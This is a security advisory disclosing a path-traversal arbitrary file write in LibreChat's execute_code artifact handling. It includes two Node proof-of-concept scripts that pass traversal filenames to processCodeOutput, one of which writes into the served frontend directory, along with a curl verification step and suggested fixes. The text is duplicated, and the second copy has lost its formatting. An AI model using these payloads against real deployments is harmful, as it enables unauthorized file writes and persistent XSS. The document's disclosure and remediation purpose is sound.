LibreChat: Arbitrary File Write via execute_code Artifact Filename Traversal
Summary
LibreChat trusts the name field returned by the execute_code sandbox when persisting code-generated artifacts. On deployments using the default local file strategy, a malicious artifact filename containing traversal sequences (for example ../../../../../app/client/dist/poc.txt) is concatenated into the server-side destination path and written with fs.writeFileSync() without sanitization.
This gives any user who can trigger execute_code an arbitrary file write primitive as the LibreChat server user.
Affected Code
api/server/controllers/tools.js:195-209
api/server/services/Files/Code/process.js:72-209
api/server/services/Files/Local/crud.js:66-85
Root Cause
When execute_code returns artifact metadata, LibreChat forwards the untrusted file.name into processCodeOutput():
api/server/controllers/tools.js:196-209
- Reads
{ id, name } from artifact.files
- Passes
name directly into processCodeOutput()
Inside processCodeOutput():
-
api/server/services/Files/Code/process.js:203-209
- Builds
const fileName = \${file_id}__${name}`;`
- Passes it directly into
saveBuffer(...)
For the default local storage backend:
api/server/services/Files/Local/crud.js:74-81
- Builds
directoryPath = path.join(uploads, userId)
- Writes
fs.writeFileSync(path.join(directoryPath, fileName), buffer)
Because fileName is not normalized or sanitized, traversal segments in name are honored by path.join().
Impact
- Arbitrary file write as the LibreChat server user on deployments using local file storage
- Write outside the per-user upload directory
- Overwrite or create files under writable application paths
- Same-origin web content write by targeting
client/dist
- Likely persistent XSS by overwriting a served HTML/JS asset with attacker-controlled content
Impact depends on writable paths and deployment layout, but the primitive is strong on the default local-storage setup.
Preconditions
execute_code is enabled for the attacker
- LibreChat uses
fileStrategy: local for artifact persistence
- The attacker can cause the code sandbox to emit an artifact with an attacker-controlled filename and content
These preconditions are realistic:
- the filename comes from the sandbox artifact metadata
- the file content is attacker-controlled because it is the attacker’s generated output
Proof of Concept (step-by-step)
Test date: 2026-03-13
Environment:
- LibreChat running with
fileStrategy: local
- Shared code backend configured:
LIBRECHAT_CODE_BASEURL=http://host.docker.internal:18081/v1
LIBRECHAT_CODE_API_KEY=test-shared-code-key
- A code backend that returns bytes for
/download/:session_id/:id
PoC 1: write outside uploads into /tmp
Run the following inside the LibreChat container:
podman exec -i LibreChat node - <<'NODE'
require('module-alias')({ base: '/app/api' });
const mongoose = require('mongoose');
const { processCodeOutput } = require('/app/api/server/services/Files/Code/process');
(async () => {
process.env.LIBRECHAT_CODE_BASEURL = 'http://host.docker.internal:18081/v1';
await mongoose.connect(process.env.MONGO_URI || 'mongodb://mongodb:27017/LibreChat');
const req = {
user: { id: '69b354a0f5bc45836e1ec3b9' },
config: { fileStrategy: 'local', fileConfig: {}, imageOutputType: 'png' },
};
const res = await processCodeOutput({
req,
apiKey: 'test-shared-code-key',
toolCallId: 'tc_poc',
conversationId: 'conv_poc',
messageId: 'msg_poc',
session_id: '-_bUJIOPvKVYVOXWNAViS',
id: 'aC7SlEPUH4WMpPBJALRcf',
name: '../../../../../tmp/lc-owned.txt',
});
console.log(res.filepath);
await mongoose.disconnect();
})();
NODE
Expected output:
PoC 2: write into the served frontend build directory
Repeat with:
podman exec -i LibreChat node - <<'NODE'
require('module-alias')({ base: '/app/api' });
const mongoose = require('mongoose');
const { processCodeOutput } = require('/app/api/server/services/Files/Code/process');
(async () => {
process.env.LIBRECHAT_CODE_BASEURL = 'http://host.docker.internal:18081/v1';
await mongoose.connect(process.env.MONGO_URI || 'mongodb://mongodb:27017/LibreChat');
const req = {
user: { id: '69b354a0f5bc45836e1ec3b9' },
config: { fileStrategy: 'local', fileConfig: {}, imageOutputType: 'png' },
};
const res = await processCodeOutput({
req,
apiKey: 'test-shared-code-key',
toolCallId: 'tc_poc',
conversationId: 'conv_poc',
messageId: 'msg_poc',
session_id: '-_bUJIOPvKVYVOXWNAViS',
id: 'aC7SlEPUH4WMpPBJALRcf',
name: '../../../../../app/client/dist/poc.txt',
});
console.log(res.filepath);
await mongoose.disconnect();
})();
NODE
Verify the file is served from the LibreChat origin:
curl -sS -D - http://127.0.0.1:3080/poc.txt | head -n 5
Expected:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
This confirms a same-origin attacker-controlled file write into the served frontend tree.
Security Relevance
This is not just a metadata issue:
- filename is attacker-controlled
- artifact content is attacker-controlled
- write happens on the server filesystem
- traversal reaches outside the intended per-user upload directory
On a typical local-storage deployment, this is a high-severity arbitrary file write.
Suggested Fix
- Treat
artifact.files[].name as untrusted input
- Sanitize with
path.basename() before persistence, or reject any path separators
- Enforce that the final resolved path stays within the intended storage directory
- Add regression tests covering filenames such as:
../../../../../tmp/poc.txt
..\\..\\..\\..\\..\\tmp\\poc.txt
- absolute paths
- mixed separator variants
Notes
- Image artifacts appear safer because image persistence goes through
convertImage() with a server-generated filename (${file_id}${fileExt}), but non-image artifacts use the unsafe raw name.
- Agent callback paths also reuse
processCodeOutput(), so the issue is not limited to the standalone tool-call route.
LibreChat: Arbitrary File Write via
execute_codeArtifact Filename TraversalSummary
LibreChat trusts the
namefield returned by theexecute_codesandbox when persisting code-generated artifacts. On deployments using the defaultlocalfile strategy, a malicious artifact filename containing traversal sequences (for example../../../../../app/client/dist/poc.txt) is concatenated into the server-side destination path and written withfs.writeFileSync()without sanitization.This gives any user who can trigger
execute_codean arbitrary file write primitive as the LibreChat server user.Affected Code
api/server/controllers/tools.js:195-209api/server/services/Files/Code/process.js:72-209api/server/services/Files/Local/crud.js:66-85Root Cause
When
execute_codereturns artifact metadata, LibreChat forwards the untrustedfile.nameintoprocessCodeOutput():api/server/controllers/tools.js:196-209{ id, name }fromartifact.filesnamedirectly intoprocessCodeOutput()Inside
processCodeOutput():api/server/services/Files/Code/process.js:203-209const fileName = \${file_id}__${name}`;`saveBuffer(...)For the default local storage backend:
api/server/services/Files/Local/crud.js:74-81directoryPath = path.join(uploads, userId)fs.writeFileSync(path.join(directoryPath, fileName), buffer)Because
fileNameis not normalized or sanitized, traversal segments innameare honored bypath.join().Impact
client/distImpact depends on writable paths and deployment layout, but the primitive is strong on the default local-storage setup.
Preconditions
execute_codeis enabled for the attackerfileStrategy: localfor artifact persistenceThese preconditions are realistic:
Proof of Concept (step-by-step)
Test date: 2026-03-13
Environment:
fileStrategy: localLIBRECHAT_CODE_BASEURL=http://host.docker.internal:18081/v1LIBRECHAT_CODE_API_KEY=test-shared-code-key/download/:session_id/:idPoC 1: write outside uploads into
/tmpRun the following inside the LibreChat container:
Expected output:
PoC 2: write into the served frontend build directory
Repeat with:
Verify the file is served from the LibreChat origin:
curl -sS -D - http://127.0.0.1:3080/poc.txt | head -n 5Expected:
This confirms a same-origin attacker-controlled file write into the served frontend tree.
Security Relevance
This is not just a metadata issue:
On a typical local-storage deployment, this is a high-severity arbitrary file write.
Suggested Fix
artifact.files[].nameas untrusted inputpath.basename()before persistence, or reject any path separators../../../../../tmp/poc.txt..\\..\\..\\..\\..\\tmp\\poc.txtNotes
convertImage()with a server-generated filename (${file_id}${fileExt}), but non-image artifacts use the unsafe rawname.processCodeOutput(), so the issue is not limited to the standalone tool-call route.